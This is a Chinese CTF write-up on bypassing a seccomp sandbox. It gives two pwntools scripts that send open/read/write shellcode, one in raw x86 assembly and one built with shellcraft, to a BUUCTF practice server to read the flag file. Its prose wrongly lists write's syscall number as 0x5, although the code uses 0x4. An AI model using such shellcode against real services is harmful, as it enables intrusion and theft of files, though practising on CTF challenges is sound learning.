这是沙盒机制,就是限制你能使用的syscall。
seccomp-tools这个工具能快速地查出你能使用地syscall。
我们能使用的常用的构造攻击链的只有open,read,write。
但是因为限制了syscall,所以我们不能用特殊的系统调用getshell。
有两种方法,一种直接写汇编,一种利用shellcraft构造。
下面是汇编:
首先流程是这样的:
open(’文件名‘,0,0)
read(文件描述符,‘文件名’,读取大小)
write(1,‘文件名’,写大小)
我们想要读取flag文件里的内容,所以应该构造如下
open(‘flag’,0,0)
read(3,‘flag’,0x30)
write(1,‘flag’,0x30)
那么就可以有如下的汇编代码
第一行payload中的push 0x00;push 0x67616c66相当于push /x00galf,因为是小端序,倒过来就是push flag/x00。
open的系统调用号是0x5,read是0x3,write是0x5.
代码如下:
from pwn import *
from LibcSearcher import *
r=remote('node4.buuoj.cn','29583')
#r=process('./a')
elf=ELF('./a')
context.log_level = 'debug'
libc = ELF("./libc-2.23.so")
#context.terminal = ['tmux','splitw','-h']
payload=asm('push 0x00;push 0x67616c66;mov ebx,esp;mov eax,0x5;mov ecx,0;mov edx,0;int 0x80;')#
payload+=asm('mov eax,0x3;mov ecx,ebx;mov edx,0x30;mov ebx,0x3;int 0x80;')#
payload+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')#
r.recvuntil('Give my your shellcode:')
r.sendline(payload)
flag=r.recv(200)
print(flag)
利用shellcraft代码如下:
from pwn import *
from LibcSearcher import *
r=remote('node4.buuoj.cn','29583')
#r=process('./a')
elf=ELF('./a')
context.log_level = 'debug'
libc = ELF("./libc-2.23.so")
#context.terminal = ['tmux','splitw','-h']
payload=shellcraft.open('./flag')
payload+=shellcraft.read(3,'./flag',100)
payload+=shellcraft.write(1,'./flag',100)
payload=asm(payload)#记得要把代码转换成汇编语言
r.recvuntil('Give my your shellcode:')
r.sendline(payload)
flag=r.recv(100)
print(flag)